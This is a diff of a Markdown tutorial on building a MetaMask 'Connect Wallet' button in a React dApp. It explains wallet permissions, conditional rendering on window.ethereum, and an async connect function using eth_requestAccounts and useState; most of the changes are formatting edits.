[Jakob’s Law of the Internet User Experience](https://www.nngroup.com/videos/jakobs-law-internet-ux/){target=\_blank} dictates that people “prefer your site to work the same way as all the other sites they already know.” You’ll know you’re on a Web3-enabled frontend when you see a button in a site’s header prompting you to _connect_. This is the button you’ll be rendering in your dApp if `window.ethereum` was detected. This call to action might come as a shock to your users who are accustomed to input fields for their credentials to log in. ![[https://twitter.com/tommyk_eth/status/1481464394139815937](https://twitter.com/tommyk_eth/status/1481464394139815937)](../../../img/S04/connect-wallet-tweet.png) @@ -12,20 +12,19 @@ You know how, on a traditional website, you can’t take certain actions until y Well, “Connect Wallet” is the equivalent for Web3. You won’t be able to execute writable functionality until you've connected with your wallet. The calls you make to those smart contracts require a sender to initiate and fulfill them. After all, someone has to pay the gas needed for that transaction. -When you click “Connect Wallet,” MetaMask will trigger a pop-up asking you to grant that dApp permission to view your accounts, your balances, and your activity, and initiate transactions on your behalf. +When you click “Connect Wallet,” MetaMask will trigger a pop-up asking you to grant that dApp permission to view your accounts, your balances, and your activity, and initiate transactions on your behalf. -The transactions you make will be public, but you can remain pseudonymous. You don’t exchange doxxable information. You’re able to own your data, you never surrender your private key for a database to manage. The wallet proves your identity by proving you own the accounts associated with it because all of your accounts are derived from your seed phrase. Interactions with public blockchains are intended to be permissionless and trustless. ***On Web3, your word is only as good as how much ether you have for gas.*** - -> 📕 *But what does it **actually** mean to connect a wallet?* If the pop-up from MetaMask tells you that you’re granting this dApp permission to view publicly available information that is on a WHOLE blockchain for everyone to see, what’s the difference between that and someone viewing your account history on Etherscan? It comes down to trust. You can remain pseudonymous in both cases, yes. However, that person viewing your account history on Etherscan can’t initiate a contract call on your behalf, nor can they suggest one. The idea of permissions here can be reduced to a single question: *Do I trust this dApp to let me call smart contract functions in a way that is safe for me?* +The transactions you make will be public, but you can remain pseudonymous. You don’t exchange doxxable information. You’re able to own your data, you never surrender your private key for a database to manage. The wallet proves your identity by proving you own the accounts associated with it because all of your accounts are derived from your seed phrase. Interactions with public blockchains are intended to be permissionless and trustless. **_On Web3, your word is only as good as how much ether you have for gas._** +> 📕 _But what does it **actually** mean to connect a wallet?_ If the pop-up from MetaMask tells you that you’re granting this dApp permission to view publicly available information that is on a WHOLE blockchain for everyone to see, what’s the difference between that and someone viewing your account history on Etherscan? It comes down to trust. You can remain pseudonymous in both cases, yes. However, that person viewing your account history on Etherscan can’t initiate a contract call on your behalf, nor can they suggest one. The idea of permissions here can be reduced to a single question: _Do I trust this dApp to let me call smart contract functions in a way that is safe for me?_ ## Onboarding -[Websites on Web2 require onboarding of their own, but as end users, we don’t pay much mind to it because it’s something we’ve always been used to doing](https://uxdesign.cc/15-rules-of-user-sign-in-experience-ae9011d04ee3){target=\_blank}. On Web2, it starts with providing contextual information like our email address, and our names that we enter into input fields. Oh, and our phone numbers too. We play [regex gymnastics](https://www.oreilly.com/library/view/regular-expressions-cookbook/9781449327453/ch04s19.html){target=\_blank} to generate secure passwords. These personally identifying tidbits of data are managed by a centralized entity that’ll only interact with us if it knows who we are. Sometimes, however, they need to know too much. [And we don’t always know how our data is being managed](https://www.notion.so/forbes.com/sites/marketshare/2012/03/05/if-youre-not-paying-for-it-you-become-the-product/?sh=35b534ce5d6e){target=\_blank}. +[Websites on Web2 require onboarding of their own, but as end users, we don’t pay much mind to it because it’s something we’ve always been used to doing](https://uxdesign.cc/15-rules-of-user-sign-in-experience-ae9011d04ee3){target=\_blank}. On Web2, it starts with providing contextual information like our email address, and our names that we enter into input fields. Oh, and our phone numbers too. We play [regex gymnastics](https://www.oreilly.com/library/view/regular-expressions-cookbook/9781449327453/ch04s19.html){target=\_blank} to generate secure passwords. These personally identifying tidbits of data are managed by a centralized entity that’ll only interact with us if it knows who we are. Sometimes, however, they need to know too much. [And we don’t always know how our data is being managed](https://www.forbes.com/sites/forbesdigitalcovers/2018/07/30/the-backsies-billionaire-texan-builds-second-fortune-from-wreckage-of-real-estate-empire-hed-sold/?){target=\_blank}. -Web3 comes with an onboarding process of its own, but it *delegates the task of identity management to applied cryptography and the Ethereum blockchain*, not just a single database managed by one big tech giant. Instead of your user creating an account from their credentials, they’ll need to have a browser wallet like MetaMask to derive an account from their private key. +Web3 comes with an onboarding process of its own, but it _delegates the task of identity management to applied cryptography and the Ethereum blockchain_, not just a single database managed by one big tech giant. Instead of your user creating an account from their credentials, they’ll need to have a browser wallet like MetaMask to derive an account from their private key. -When we begin building, we want to assume our user doesn’t have MetaMask installed, therefore the Provider Interface is non-existent, and we can’t execute any Web3 functionalities. So we want to prompt them to install it. If they do have MetaMask installed, we want to offer them the ability to connect. If they approve that request, we want to show the address of the account they’re connected with. +When we begin building, we want to assume our user doesn’t have MetaMask installed, therefore the Provider Interface is non-existent, and we can’t execute any Web3 functionalities. So we want to prompt them to install it. If they do have MetaMask installed, we want to offer them the ability to connect. If they approve that request, we want to show the address of the account they’re connected with. ![Connect Wallet Flow](../../../img/S04/connect-wallet-flow.png) @@ -33,11 +32,11 @@ When we begin building, we want to assume our user doesn’t have MetaMask insta [![Open in CodeSandbox](https://img.shields.io/badge/Open%20in-CodeSandbox-blue?style=forthebadge-square&logo=codesandbox)](https://codesandbox.io/s/0x0-metamask-connect-start-8csed1){target=\_blank} -If you take a look at `[App.js](https://codesandbox.io/s/0x0-metamask-connect-start-8csed1?file=/src/App.js)`, you’ll see it’s been purged of the boilerplate that `yarn create react-app` generates. There are styled components and a sprinkle of Framer Motion for animations. But we don’t have any other Web3 dependencies. In the `/components` directory, there are, however, three specifically named components, and they are the only ones you’ll be using for this activity. You won’t need to create anymore. +If you take a look at [App.js](https://codesandbox.io/s/0x0-metamask-connect-start-8csed1?file=/src/App.js){target=\_blank}, you’ll see it’s been purged of the boilerplate that `yarn create react-app` generates. There are styled components and a sprinkle of Framer Motion for animations. But we don’t have any other Web3 dependencies. In the `/components` directory, there are, however, three specifically named components, and they are the only ones you’ll be using for this activity. You won’t need to create anymore. What is important for us to have is a browser wallet like MetaMask. This is where it all begins. -The first objective here is to ***conditionally render*** a button that prompts your user to **Install MetaMask** if `window.ethereum` does not exist. And we can achieve this using [ternary operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator){target=\_blank} in our JSX. We can then *[embed* JavaScript expressions in our JSX](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx){target=\_blank} very easily, so long as we wrap the logic in curly braces. +The first objective here is to **_conditionally render_** a button that prompts your user to **Install MetaMask** if `window.ethereum` does not exist. And we can achieve this using [ternary operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator){target=\_blank} in our JSX. We can then [embed JavaScript expressions in our JSX](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx){target=\_blank} very easily, so long as we wrap the logic in curly braces. ```jsx <> @@ -48,25 +47,20 @@ The first objective here is to ***conditionally render*** a button that prompts ``` -Open up `App.js` and you’ll see the components `InstallMetaMask`, `ConnectButton`, and `Account` are imported, but they’re commented out. Using ternary operators, go inside `
`, get `ConnectButton` to show up if `window.ethereum` is defined. If it is not defined, render `InstallMetaMask`. Now open the code sandbox in two windows— one where you have MetaMask installed, and one where you don’t. See how on one browser there’s a call to action to install MetaMask, and the other has a call to action to ✹ *Connect* ✹? +Open up `App.js` and you’ll see the components `InstallMetaMask`, `ConnectButton`, and `Account` are imported, but they’re commented out. Using ternary operators, go inside `
`, get `ConnectButton` to show up if `window.ethereum` is defined. If it is not defined, render `InstallMetaMask`. Now open the code sandbox in two windows— one where you have MetaMask installed, and one where you don’t. See how on one browser there’s a call to action to install MetaMask, and the other has a call to action to ✹ _Connect_ ✹? ```jsx -
- {window.ethereum - ? - : - } -
+
{window.ethereum ? : }
``` ### State To get users connecting to your dApp, we’ll need to call the `[eth_requestAccounts](https://docs.metamask.io/guide/rpc-api.html#restricted-methods)` JSON-RPC method from `window.ethereum`. In `App.js`, we’re importing `useState` from React. The `eth_requestAccounts` method returns a promise. When that promise to grab a user’s accounts resolves to an array, we’ll need to hold onto it with the [state hook](https://reactjs.org/docs/hooks-state.html){target=\_blank}. `useState` accepts an initial state but returns two values: the current state, and a function to update the state. -Because our user hasn’t connected yet, our initial state would be an empty string. The first value will be `account`, and the second will be `setAccount`. We can define this hook in `App.js`. When the promise resolves, we get the array, we’ll want to *hold it in state*, which we’ll achieve by calling `setAccount`. +Because our user hasn’t connected yet, our initial state would be an empty string. The first value will be `account`, and the second will be `setAccount`. We can define this hook in `App.js`. When the promise resolves, we get the array, we’ll want to _hold it in state_, which we’ll achieve by calling `setAccount`. ```jsx -const [account, setAccount] = useState('') +const [account, setAccount] = useState(""); ``` Now that we have that setup, we can 👀 define the function to connect 👀. @@ -79,16 +73,15 @@ Inside the function body, we can throw in a `try/catch` block. See the code belo ```jsx const connect = async () => { - try { - // eth_requestAccounts - } - catch (e) { - console.log(e) - } -} + try { + // eth_requestAccounts + } catch (e) { + console.log(e); + } +}; ``` -We can see here the connect function will now *attempt* to ask a user to connect, but anticipate failure. In the event of a failure, [it will spit out an error code](https://docs.metamask.io/guide/ethereum-provider.html#errors){target=\_blank} that can then be used to give feedback— in this case, we can prompt a user to retry connecting. If a user rejects the request to connect, this is where the `catch` will be triggered letting them know that they didn’t approve the request. +We can see here the connect function will now _attempt_ to ask a user to connect, but anticipate failure. In the event of a failure, [it will spit out an error code](https://docs.metamask.io/guide/ethereum-provider.html#errors){target=\_blank} that can then be used to give feedback— in this case, we can prompt a user to retry connecting. If a user rejects the request to connect, this is where the `catch` will be triggered letting them know that they didn’t approve the request. Next step is to create a variable and assign the `eth_requestAccounts` method to it. See the code below: @@ -96,21 +89,21 @@ Next step is to create a variable and assign the `eth_requestAccounts` method to const account = (await window.ethereum.request({ method: 'eth_requestAccounts' })[0]` ``` -This is where we can tie up our connect functionality. Because we have an `async` function, we’ll get to use the `await` statement on the method we’ll want to wait for. The parentheses around the `await` statement followed by the `[0]` means once this promise is resolved and we get an array, we’ll only want the first account. That’s what our `accounts` variable will return, and that’s what we’ll use the `setAccount` function on. +This is where we can tie up our connect functionality. Because we have an `async` function, we’ll get to use the `await` statement on the method we’ll want to wait for. The parentheses around the `await` statement followed by the `[0]` means once this promise is resolved and we get an array, we’ll only want the first account. That’s what our `accounts` variable will return, and that’s what we’ll use the `setAccount` function on. Your function should look like this: ```jsx - const connect = async () => { - try { - const account = ( - await window.ethereum.request({ method: "eth_requestAccounts" }) - )[0]; - setAccount(account); - } catch (e) { - console.log(e); - } - }; +const connect = async () => { + try { + const account = ( + await window.ethereum.request({ method: "eth_requestAccounts" }) + )[0]; + setAccount(account); + } catch (e) { + console.log(e); + } +}; ``` Once the function is defined, switch over to `ConnectButton`. As a React functional component, it takes the prop of `connect`. The next place you’ll see `connect` being used in `ConnectButton` is in the return block, in `